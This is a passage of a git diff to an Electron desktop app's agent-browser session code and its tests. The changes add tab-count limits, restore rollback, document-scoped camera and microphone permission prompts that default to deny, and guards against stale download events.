.finally(() => { + if (inFlightPanelCapture?.promise !== promise) return + inFlightPanelCapture = null + startQueuedPanelCapture() + }) + inFlightPanelCapture = { generation, key: captureKey, promise } + return promise } /** diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts index c11989dc788..84de584d9d1 100644 --- a/apps/desktop/src/main/browser-agent/session.test.ts +++ b/apps/desktop/src/main/browser-agent/session.test.ts @@ -6,7 +6,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) -import { BrowserWindow, session as electronSession, Menu, shell } from 'electron' +import { BrowserWindow, session as electronSession, Menu, shell, systemPreferences } from 'electron' import { BASE_ZOOM_FACTOR, steppedZoomFactor } from '@/main/browser-agent/context-menu' import * as panel from '@/main/browser-agent/panel' import * as sessionModule from '@/main/browser-agent/session' @@ -14,6 +14,12 @@ import type { BrowserSessionSnapshot } from '@/main/desktop-chat-session-store' type SessionModule = typeof import('@/main/browser-agent/session') +const realPlatform = process.platform + +function setPlatform(platform: NodeJS.Platform): void { + Object.defineProperty(process, 'platform', { configurable: true, value: platform }) +} + interface MockView { webContents: { session: { @@ -480,6 +486,133 @@ describe('browser-agent session', () => { }) }) + it('bounds restored tabs while retaining pinned tabs and the active page', () => { + const tabs = Array.from({ length: 40 }, (_, index) => ({ + url: `https://tab-${index}.example/`, + pinned: index < 5, + })) + const { persistence } = memoryBrowserPersistence({ + 'chat-bounded-tabs': { + v: 1, + tabs, + activeIndex: tabs.length - 1, + downloads: [], + }, + }) + session = freshSession(win, {}, persistence) + + const restored = session.withBrowserScope('chat-bounded-tabs', () => { + session.restoreBrowserSession() + return session.getTabsState() + }) + + expect(restored.tabs).toHaveLength(32) + expect(restored.tabs.filter((tab) => tab.pinned)).toHaveLength(5) + expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://tab-39.example/') + }) + + it('refuses to materialize more than the per-task live tab budget', () => { + session.ensureTab() + for (let index = 1; index < 32; index++) session.addTab() + + expect(() => session.addTab()).toThrow('at most 32 open tabs') + expect(session.getTabsState().tabs).toHaveLength(32) + }) + + it('bounds the total number of live browser WebContents across tasks', () => { + for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) { + session.withBrowserScope(`chat-cap-${scopeIndex}`, () => { + session.ensureTab() + for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab() + }) + } + + expect(() => session.withBrowserScope('chat-cap-overflow', () => session.ensureTab())).toThrow( + 'at most 96 live browser tabs' + ) + }) + + it('does not truncate a saved browser session while the global tab budget is occupied', () => { + const savedTabs = [ + { url: 'https://saved-one.example/', pinned: false }, + { url: 'https://saved-two.example/', pinned: false }, + ] + const { persistence, snapshots } = memoryBrowserPersistence({ + 'chat-pending-restore': { + v: 1, + tabs: savedTabs, + activeIndex: 1, + downloads: [], + }, + }) + session = freshSession(win, {}, persistence) + for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) { + session.withBrowserScope(`chat-cap-${scopeIndex}`, () => { + session.ensureTab() + for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab() + }) + } + + expect(() => + session.withBrowserScope('chat-pending-restore', () => session.restoreBrowserSession()) + ).toThrow('at most 96 live browser tabs') + expect(snapshots.get('chat-pending-restore')?.tabs).toEqual(savedTabs) + + session.withBrowserScope('chat-cap-0', () => { + const [first, second] = session.getTabsState().tabs + session.closeTab(first.tabId) + session.closeTab(second.tabId) + }) + const restored = session.withBrowserScope('chat-pending-restore', () => { + session.restoreBrowserSession() + return session.getTabsState() + }) + + expect(restored.tabs.map(({ url }) => url)).toEqual(savedTabs.map(({ url }) => url)) + expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://saved-two.example/') + }) + + it('rolls back a failed restore and retries without duplicating tabs', () => { + const { persistence } = memoryBrowserPersistence({ + 'chat-retry': { + v: 1, + tabs: [ + { url: 'https://one.example/', pinned: false }, + { url: 'https://two.example/', pinned: true }, + { url: 'https://three.example/', pinned: false }, + ], + activeIndex: 2, + downloads: [], + }, + }) + const createdContents: MockView['webContents'][] = [] + const onTabCreated = vi.fn((contents: WebContents) => { + createdContents.push(contents as unknown as MockView['webContents']) + if (createdContents.length === 2) throw new Error('instrumentation failed') + }) + session = freshSession(win, { onTabCreated }, persistence) + + expect(() => + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + ).toThrow('instrumentation failed') + expect(session.withBrowserScope('chat-retry', () => session.peekTabsState().tabs)).toEqual([]) + expect(createdContents).toHaveLength(2) + expect(createdContents.every((contents) => contents.close.mock.calls.length === 1)).toBe(true) + + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + expect(session.withBrowserScope('chat-retry', () => session.getTabsState())).toMatchObject({ + activeTabId: '3', + tabs: [ + { tabId: '2', url: 'https://two.example/', pinned: true, active: false }, + { tabId: '1', url: 'https://one.example/', pinned: false, active: false }, + { tabId: '3', url: 'https://three.example/', pinned: false, active: true }, + ], + }) + + session.withBrowserScope('chat-retry', () => session.restoreBrowserSession()) + expect(createdContents).toHaveLength(5) + }) + it('quiesces live scopes without publishing session closure', () => { const onTabsChanged = vi.fn() const onSessionClosed = vi.fn() @@ -1954,9 +2087,18 @@ describe('browser-agent session', () => { expect(event.preventDefault).toHaveBeenCalledOnce() }) - it('permission handlers deny everything on the agent partition but the copy button and media', async () => { + it('grants media only after an active-page, origin-scoped user decision', async () => { + vi.mocked(win.isFocused).mockReturnValue(true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) const tab = session.ensureTab() - const ses = (tab.view as unknown as MockView).webContents.session + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + + const ses = contents.session const requestHandler = ses.setPermissionRequestHandler.mock.calls[0][0] as ( wc: unknown, permission: string, @@ -1979,13 +2121,67 @@ describe('browser-agent session', () => { expect(checkHandler(null, permission)).toBe(false) } - // Media is the deliberate exception — the agent browser joins real - // meetings — but the grant is gated on the OS grant (mocked as granted - // here), so System Settings remains the real authority. const mediaCallback = vi.fn() - requestHandler(null, 'media', mediaCallback, { mediaTypes: ['audio', 'video'] }) - await vi.waitFor(() => expect(mediaCallback).toHaveBeenCalledWith(true)) - expect(checkHandler(null, 'media', undefined, { mediaType: 'audio' })).toBe(true) + requestHandler(contents, 'media', mediaCallback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(mediaCallback).not.toHaveBeenCalled() + const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents) + expect(prompt).toMatchObject({ + origin: 'https://example.com', + devices: ['microphone'], + }) + + await session.respondToMediaPermission(prompt?.requestId ?? '', true) + + expect(mediaCallback).toHaveBeenCalledWith(true) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(true) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'video', + }) + ).toBe(false) + expect( + checkHandler(contents, 'media', 'https://other.example', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(false) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: false, + mediaType: 'audio', + }) + ).toBe(false) + + mainFrameNavigationStarted(contents) + expect( + checkHandler(contents, 'media', 'https://example.com', { + isMainFrame: true, + mediaType: 'audio', + }) + ).toBe(false) + + const staleGestureCallback = vi.fn() + requestHandler(contents, 'media', staleGestureCallback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(staleGestureCallback).toHaveBeenCalledWith(false) + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeUndefined() // Chromium routes navigator.clipboard.writeText through this one; denying // it silently broke every copy button that does not use execCommand. @@ -1995,6 +2191,174 @@ describe('browser-agent session', () => { expect(checkHandler(null, 'clipboard-sanitized-write')).toBe(true) }) + it('default-denies hidden, subframe, origin-mismatched, and untyped media requests', () => { + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + + vi.mocked(win.isFocused).mockReturnValue(true) + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const hidden = vi.fn() + requestHandler(contents, 'media', hidden, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + expect(hidden).toHaveBeenCalledWith(false) + + for (const details of [ + { + isMainFrame: false, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }, + { + isMainFrame: true, + mediaTypes: [], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }, + { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://other.example/', + securityOrigin: 'https://other.example', + }, + ]) { + const callback = vi.fn() + requestHandler(contents, 'media', callback, details) + expect(callback).toHaveBeenCalledWith(false) + } + + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeFalsy() + }) + + it('denies a pending media request when its document navigates or tab closes', () => { + vi.mocked(win.isFocused).mockReturnValue(true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const request = (callback: (granted: boolean) => void) => { + gestureHandler?.({}, { type: 'mouseDown' }) + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['audio', 'video'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + } + + const navigated = vi.fn() + request(navigated) + mainFrameNavigationStarted(contents) + expect(navigated).toHaveBeenCalledWith(false) + + const closed = vi.fn() + request(closed) + session.closeTab(tab.id) + expect(closed).toHaveBeenCalledWith(false) + }) + + it('keeps the site denied when the operating system rejects an approved device', async () => { + setPlatform('darwin') + try { + vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('not-determined') + vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(false) + win.isFocused = vi.fn(() => true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const callback = vi.fn() + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['video'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + + const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents) + await session.respondToMediaPermission(prompt?.requestId ?? '', true) + + expect(systemPreferences.askForMediaAccess).toHaveBeenCalledWith('camera') + expect(callback).toHaveBeenCalledWith(false) + } finally { + setPlatform(realPlatform) + vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('granted') + vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(true) + } + }) + + it('fails a media prompt closed when the user does not answer it', async () => { + vi.useFakeTimers() + try { + win.isFocused = vi.fn(() => true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const callback = vi.fn() + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + + await vi.advanceTimersByTimeAsync(30_000) + + expect(callback).toHaveBeenCalledWith(false) + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeUndefined() + } finally { + vi.useRealTimers() + } + }) + it('leaves nothing of the signed-out user behind in the browser profile', async () => { const clearStorageData = vi.fn(async () => {}) const clearCache = vi.fn(async () => {}) @@ -2235,6 +2599,41 @@ describe('browser-agent session', () => { state: 'completed', }) }) + + it('does not recreate a disposed scope when a download finishes later', () => { + const directory = mkdtempSync(join(tmpdir(), 'sim-browser-downloads-')) + const { persistence, snapshots } = memoryBrowserPersistence() + session = freshSession(win, {}, persistence, { getDirectory: () => directory }) + const contents = (session.ensureTab().view as unknown as MockView).webContents + const webSession = contents.session as typeof contents.session & { + on: ReturnType + } + const willDownload = webSession.on.mock.calls.find( + ([eventName]) => eventName === 'will-download' + )?.[1] as + | ((event: unknown, item: Record, contents: unknown) => void) + | undefined + const item = { + getFilename: vi.fn(() => 'late.txt'), + getMimeType: vi.fn(() => 'text/plain'), + getReceivedBytes: vi.fn(() => 4), + getTotalBytes: vi.fn(() => 4), + setSavePath: vi.fn(), + cancel: vi.fn(), + on: vi.fn(), + once: vi.fn(), + } + willDownload?.({}, item, contents) + const done = item.once.mock.calls.find(([eventName]) => eventName === 'done')?.[1] as + | ((event: unknown, state: 'completed') => void) + | undefined + + session.disposeBrowserScope('chat-test') + done?.({}, 'completed') + + expect(session.getBrowserDownloadsState('chat-test').downloads).toEqual([]) + expect(snapshots.has('chat-test')).toBe(false) + }) }) /** diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index bd13b9de908..9d5c041a700 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -5,6 +5,8 @@ import type { BrowserDataKind, BrowserFindRequest, BrowserFindResult, + BrowserMediaDevice, + BrowserMediaPermissionRequest, BrowserOmniboxFocusMode, BrowserPageIssue, BrowserTabState, @@ -91,6 +93,21 @@ export interface AgentTab { syntheticForward?: { url: string; baseHistoryIndex: number } preserveSyntheticForwardOnNextNavigation?: boolean recoveringUnresponsive?: boolean + pendingMediaPermission?: PendingMediaPermission + mediaPermissionGrant?: MediaPermissionGrant + lastRealUserGestureAt?: number +} + +interface PendingMediaPermission { + request: BrowserMediaPermissionRequest + documentUrl: string + callback: (permissionGranted: boolean) => void + timeout: ReturnType +} + +interface MediaPermissionGrant { + origin: string + devices: Set } export interface BrowserSessionPersistence { @@ -139,6 +156,10 @@ export interface AgentSessionEvents { * must never outlive the reports. */ const MAX_RECENTLY_CLOSED_TABS = 10 +const MAX_LIVE_TABS_PER_SCOPE = 32 +const MAX_LIVE_TABS_GLOBAL = 96 +const MEDIA_PERMISSION_GESTURE_WINDOW_MS = 10_000 +const MEDIA_PERMISSION_PROMPT_TIMEOUT_MS = 30_000 export type BrowserShortcut = 'focus-omnibox' | 'new-tab' | 'close-tab' | 'find' @@ -229,6 +250,23 @@ function createBrowserScopeState(): BrowserScopeState { } } +function liveBrowserTabCount(): number { + let count = 0 + for (const state of browserScopeStates.values()) count += state.tabs.length + return count +} + +function assertTabCapacity(): void { + if (tabs.length >= MAX_LIVE_TABS_PER_SCOPE) { + throw new SessionError(`A task browser can have at most ${MAX_LIVE_TABS_PER_SCOPE} open tabs.`) + } + if (liveBrowserTabCount() >= MAX_LIVE_TABS_GLOBAL) { + throw new SessionError( + `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.` + ) + } +} + const browserScopeStorage = new AsyncLocalStorage() const browserScopeStates = new Map() const browserScopeAliases = new Map() @@ -834,18 +872,9 @@ export async function importAgentCookies( */ const ALLOWED_SITE_PERMISSIONS = new Set(['clipboard-sanitized-write']) -/** - * Grants a getUserMedia request only when macOS has actually authorized the - * devices it names. Granting site permission without the OS grant makes the - * page fail with a misleading NotReadableError instead of a permission prompt, - * and macOS kills the process outright when the bundle lacks usage strings — - * so the OS is asked FIRST, which surfaces the system prompt on first use. - */ -async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): Promise { +async function ensureOsMediaAccess(devices: readonly BrowserMediaDevice[]): Promise { if (process.platform !== 'darwin') return true - const wanted = mediaTypes && mediaTypes.length > 0 ? mediaTypes : ['audio', 'video'] - for (const type of wanted) { - const device = type === 'video' ? 'camera' : 'microphone' + for (const device of devices) { if (systemPreferences.getMediaAccessStatus(device) === 'granted') continue const granted = await systemPreferences.askForMediaAccess(device).catch(() => false) if (!granted) return false @@ -853,38 +882,220 @@ async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): P return true } +function mediaOrigin(candidate: unknown): string | null { + if (typeof candidate !== 'string' || candidate.length > 8_192) return null + try { + const url = new URL(candidate) + return url.protocol === 'https:' || url.protocol === 'http:' ? url.origin : null + } catch { + return null + } +} + +function requestedMediaDevices(candidate: unknown): BrowserMediaDevice[] | null { + if (!Array.isArray(candidate) || candidate.length === 0) return null + const devices = new Set() + for (const type of candidate) { + if (type === 'audio') devices.add('microphone') + else if (type === 'video') devices.add('camera') + else return null + } + return [...devices] +} + +function scopedTabForContents(contents: WebContents): { scopeId: string; tab: AgentTab } | null { + const scopeId = browserScopeIdForContents(contents) + if (!scopeId) return null + const tab = browserScopeStates + .get(scopeId) + ?.tabs.find((candidate) => candidate.view.webContents === contents) + return tab ? { scopeId, tab } : null +} + +function mediaRequestIsUserInitiated(scopeId: string, tab: AgentTab): boolean { + const win = panelWindow() + return ( + resolveBrowserScopeId(scopeId) === getActiveBrowserScopeId() && + browserScopeStates.get(scopeId)?.activeTabId === tab.id && + isPanelVisible() && + Boolean(win && !win.isDestroyed() && win.isFocused()) && + tab.view.webContents.isFocused() && + typeof tab.lastRealUserGestureAt === 'number' && + Date.now() - tab.lastRealUserGestureAt <= MEDIA_PERMISSION_GESTURE_WINDOW_MS + ) +} + +function settleMediaPermission(tab: AgentTab, allowed: boolean): boolean { + const pending = tab.pendingMediaPermission + if (!pending) return false + tab.pendingMediaPermission = undefined + clearTimeout(pending.timeout) + try { + pending.callback(allowed) + } catch (error) { + logger.warn('Could not answer a browser media permission request', { + error: getErrorMessage(error), + }) + } + return true +} + +function revokeTabMediaPermissions(tab: AgentTab, publish = true): void { + const hadPrompt = settleMediaPermission(tab, false) + tab.mediaPermissionGrant = undefined + tab.lastRealUserGestureAt = undefined + if (hadPrompt && publish) publishPageIssue(tab) +} + +/** Pending prompt metadata for the renderer-owned permission bubble. */ +export function mediaPermissionRequestForContents( + contents: WebContents +): BrowserMediaPermissionRequest | undefined { + return tabForContents(contents)?.pendingMediaPermission?.request +} + +/** Applies the user's response only to the exact live document that requested it. */ +export async function respondToMediaPermission(requestId: string, allowed: boolean): Promise { + const tab = activeTab() + const pending = tab?.pendingMediaPermission + if (!tab || !pending || pending.request.requestId !== requestId) return + + if (!allowed) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + return + } + + const contents = tab.view.webContents + const currentOrigin = mediaOrigin(contents.getURL()) + if ( + currentOrigin !== pending.request.origin || + contents.getURL() !== pending.documentUrl || + getBrowserScopeId() !== getActiveBrowserScopeId() || + !isPanelVisible() + ) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + return + } + + const osAllowed = await ensureOsMediaAccess(pending.request.devices) + if ( + tab.pendingMediaPermission !== pending || + tab.view.webContents.isDestroyed() || + mediaOrigin(contents.getURL()) !== pending.request.origin || + contents.getURL() !== pending.documentUrl || + tab.id !== currentScope.activeTabId || + getBrowserScopeId() !== getActiveBrowserScopeId() || + !isPanelVisible() + ) { + if (tab.pendingMediaPermission === pending) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + } + return + } + + if (osAllowed) { + tab.mediaPermissionGrant = { + origin: pending.request.origin, + devices: new Set(pending.request.devices), + } + } + settleMediaPermission(tab, osAllowed) + publishPageIssue(tab) +} + /** * Default-deny hardening for the agent partition. Site permissions remain - * denied apart from ALLOWED_SITE_PERMISSIONS and camera/microphone — the agent - * browser has to join a Google Meet or a Zoom web client like a real browser, - * and those are dead without getUserMedia. The OS grant still gates every - * media request, so the user's System Settings choice is the real authority. + * denied apart from ALLOWED_SITE_PERMISSIONS. Media is granted only after a + * renderer-owned, document-scoped prompt validates the requesting origin, + * active visible tab, recent native user input, and operating-system grant. * Uploads use Chromium's native file chooser and downloads are saved into the * device-level browser download directory. */ function configureAgentPartition(ses: Session): void { if (configuredPartitions.has(ses)) return configuredPartitions.add(ses) - ses.setPermissionRequestHandler((_wc, permission, callback, details) => { + ses.setPermissionRequestHandler((contents, permission, callback, details) => { if (permission === 'media') { - const mediaTypes = (details as { mediaTypes?: readonly string[] })?.mediaTypes - void ensureOsMediaAccess(mediaTypes).then(callback) + const scoped = scopedTabForContents(contents) + const request = details as { + isMainFrame?: boolean + mediaTypes?: readonly string[] + requestingUrl?: string + securityOrigin?: string + } + const devices = requestedMediaDevices(request.mediaTypes) + const requestingOrigin = mediaOrigin(request.requestingUrl) + const securityOrigin = mediaOrigin(request.securityOrigin) + const currentOrigin = mediaOrigin(contents.getURL()) + if ( + !scoped || + request.isMainFrame !== true || + !devices || + !requestingOrigin || + (securityOrigin !== null && securityOrigin !== requestingOrigin) || + currentOrigin !== requestingOrigin || + !mediaRequestIsUserInitiated(scoped.scopeId, scoped.tab) + ) { + callback(false) + return + } + + revokeTabMediaPermissions(scoped.tab, false) + const prompt: BrowserMediaPermissionRequest = { + requestId: generateId(), + origin: requestingOrigin, + devices, + } + scoped.tab.pendingMediaPermission = { + request: prompt, + documentUrl: contents.getURL(), + callback, + timeout: setTimeout( + bindToBrowserScope(scoped.scopeId, () => { + if (scoped.tab.pendingMediaPermission?.request.requestId !== prompt.requestId) return + settleMediaPermission(scoped.tab, false) + publishPageIssue(scoped.tab) + }), + MEDIA_PERMISSION_PROMPT_TIMEOUT_MS + ), + } + const win = panelWindow() + if (win && !win.isDestroyed()) win.webContents.focus() + withBrowserScope(scoped.scopeId, () => publishPageIssue(scoped.tab)) return } callback(ALLOWED_SITE_PERMISSIONS.has(permission)) }) - ses.setPermissionCheckHandler((_wc, permission, _origin, details) => { + ses.setPermissionCheckHandler((contents, permission, requestingOrigin, details) => { if (permission === 'media') { - if (process.platform !== 'darwin') return true - const mediaType = (details as { mediaType?: string })?.mediaType - if (mediaType === 'video') - return systemPreferences.getMediaAccessStatus('camera') === 'granted' - if (mediaType === 'audio') { - return systemPreferences.getMediaAccessStatus('microphone') === 'granted' - } - return ( - systemPreferences.getMediaAccessStatus('microphone') === 'granted' || - systemPreferences.getMediaAccessStatus('camera') === 'granted' + if (!contents || details.isMainFrame !== true) return false + const scoped = scopedTabForContents(contents) + const grant = scoped?.tab.mediaPermissionGrant + const checkedOrigins = [ + mediaOrigin(details.securityOrigin), + mediaOrigin(requestingOrigin), + mediaOrigin(details.requestingUrl), + ].filter((origin): origin is string => origin !== null) + const currentOrigin = mediaOrigin(contents.getURL()) + const device = + details.mediaType === 'audio' + ? 'microphone' + : details.mediaType === 'video' + ? 'camera' + : null + return Boolean( + scoped && + grant && + device && + checkedOrigins.length > 0 && + checkedOrigins.every((origin) => origin === grant.origin) && + currentOrigin === grant.origin && + grant.devices.has(device) && + (process.platform !== 'darwin' || + systemPreferences.getMediaAccessStatus(device) === 'granted') ) } return ALLOWED_SITE_PERMISSIONS.has(permission) @@ -983,17 +1194,33 @@ function configureAgentPartition(ses: Session): void { publishBrowserDownloads(scopeId) logger.info('Agent browser download started', { filename }) item.on('updated', (_updatedEvent, state) => { + const liveScopeId = resolveBrowserScopeId(scopeId) + if ( + suspendedBrowserScopes.has(liveScopeId) || + !browserScopeStates.has(liveScopeId) || + !browserDownloadsByScope.get(liveScopeId)?.includes(download) + ) { + return + } updateDownloadProgress(download, item) download.state = state === 'interrupted' ? 'interrupted' : 'progressing' - publishBrowserDownloads(scopeId) + publishBrowserDownloads(liveScopeId) }) item.once('done', (_doneEvent, state) => { activeDownloadPaths.delete(savePath) + const liveScopeId = resolveBrowserScopeId(scopeId) + if ( + suspendedBrowserScopes.has(liveScopeId) || + !browserScopeStates.has(liveScopeId) || + !browserDownloadsByScope.get(liveScopeId)?.includes(download) + ) { + return + } updateDownloadProgress(download, item) download.state = state - trimBrowserDownloads(scopeId) - publishBrowserDownloads(scopeId) - withBrowserScope(scopeId, persistBrowserSession) + trimBrowserDownloads(liveScopeId) + publishBrowserDownloads(liveScopeId) + withBrowserScope(liveScopeId, persistBrowserSession) if (state === 'completed') { logger.info('Agent browser download completed', { filename }) if (process.platform === 'darwin') app.dock?.downloadFinished(savePath) @@ -1294,6 +1521,15 @@ function createTabView(): WebContentsView { zoomFactor: getBrowserDefaultZoomFactor(), }, }) + try { + return initializeTabView(view, scopeId) + } catch (error) { + if (!view.webContents.isDestroyed()) view.webContents.close() + throw error + } +} + +function initializeTabView(view: WebContentsView, scopeId: string): WebContentsView { view.setBackgroundColor(browserBackgroundColor()) const contents = view.webContents registerAgentWebContents(contents) @@ -1329,7 +1565,10 @@ function createTabView(): WebContentsView { return } const tab = tabs.find((entry) => entry.view.webContents === contents) - if (tab?.id === currentScope.activeTabId) currentScope.visibleTabUserSelected = true + if (tab?.id === currentScope.activeTabId) { + currentScope.visibleTabUserSelected = true + if (mouse.type === 'mouseDown') tab.lastRealUserGestureAt = Date.now() + } }) ) contents.on( @@ -1385,6 +1624,7 @@ function createTabView(): WebContentsView { return } dismissFind(tab.id) + revokeTabMediaPermissions(tab, false) tab.pageIssue = { kind: 'crashed', reason: details.reason, @@ -1401,6 +1641,7 @@ function createTabView(): WebContentsView { const tab = tabs.find((entry) => entry.view === view) if (!tab || tab.pageIssue?.kind === 'crashed') return dismissFind(tab.id) + revokeTabMediaPermissions(tab, false) tab.pageIssue = { kind: 'unresponsive', url: tab.pendingRestoreUrl || contents.getURL(), @@ -1423,6 +1664,7 @@ function createTabView(): WebContentsView { const tab = tabs.find((entry) => entry.view === view) if (!isDispatchingAgentInput(contents) && tab?.id === currentScope.activeTabId) { currentScope.visibleTabUserSelected = true + if (input.type === 'keyDown' && !input.isAutoRepeat) tab.lastRealUserGestureAt = Date.now() } const shortcut = browserShortcutForInput(input) if (!shortcut) return @@ -1503,6 +1745,8 @@ function createTabView(): WebContentsView { 'did-start-navigation', bindToBrowserScope(scopeId, (details) => { if (!details.isMainFrame) return + const tab = tabs.find((entry) => entry.view === view) + if (tab) revokeTabMediaPermissions(tab) notePageNavigationStarted(contents) events?.onTabNavigated(contents, false) }) @@ -1519,7 +1763,11 @@ function createTabView(): WebContentsView { ) contents.on( 'destroyed', - bindToBrowserScope(scopeId, () => events?.onTabClosed(contents)) + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (tab) revokeTabMediaPermissions(tab, false) + events?.onTabClosed(contents) + }) ) events?.onTabCreated(contents) @@ -1704,6 +1952,8 @@ function addTabInternal({ activate = true, notify = true, }: AddTabOptions = {}): AgentTab { + assertTabCapacity() + const previousActiveTab = activeTab() const transferBrowserFocus = activate && (currentScope.focusedBrowserTabId !== null || @@ -1717,6 +1967,9 @@ function addTabInternal({ insertPinnedAware(tab) if (currentScope.automationTabId === null) currentScope.automationTabId = tab.id if (activate || currentScope.activeTabId === null) { + if (previousActiveTab && previousActiveTab.id !== tab.id) { + revokeTabMediaPermissions(previousActiveTab, false) + } currentScope.activeTabId = tab.id applyActiveTabThrottling() if (!currentScope.restoring) layout() @@ -1730,6 +1983,30 @@ function addTabInternal({ return tab } +function closeTabAfterFailedRestore(tab: AgentTab): void { + try { + revokeTabMediaPermissions(tab, false) + } catch (error) { + logger.warn('Could not revoke media permissions after browser restore failed', { + error: getErrorMessage(error), + }) + } + try { + detachIfAttached(tab.view) + } catch (error) { + logger.warn('Could not detach browser tab after browser restore failed', { + error: getErrorMessage(error), + }) + } + try { + if (!tab.view.webContents.isDestroyed()) tab.view.webContents.close() + } catch (error) { + logger.warn('Could not close browser tab after browser restore failed', { + error: getErrorMessage(error), + }) + } +} + /** Marks the visible page as user-selected without blocking automation on it. */ export function claimActiveTabForUser(): AgentTab | null { const tab = activeTab() @@ -1751,8 +2028,6 @@ export function restoreBrowserSession(): void { } if (currentScope.restored) return currentScope.activationOnly = false - currentScope.restored = true - currentScope.restoring = true const scopeId = getBrowserScopeId() let snapshot: BrowserSessionSnapshot | null = null @@ -1766,28 +2041,91 @@ export function restoreBrowserSession(): void { } } - const restoredTabs: AgentTab[] = [] + const selectedIndexes = new Set() if (snapshot) { - browserDownloadsByScope.set( - scopeId, - snapshot.downloads.map((download) => ({ ...download })) + for ( + let index = 0; + index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE; + index++ + ) { + if (snapshot.tabs[index]?.pinned) selectedIndexes.add(index) + } + if (selectedIndexes.size < 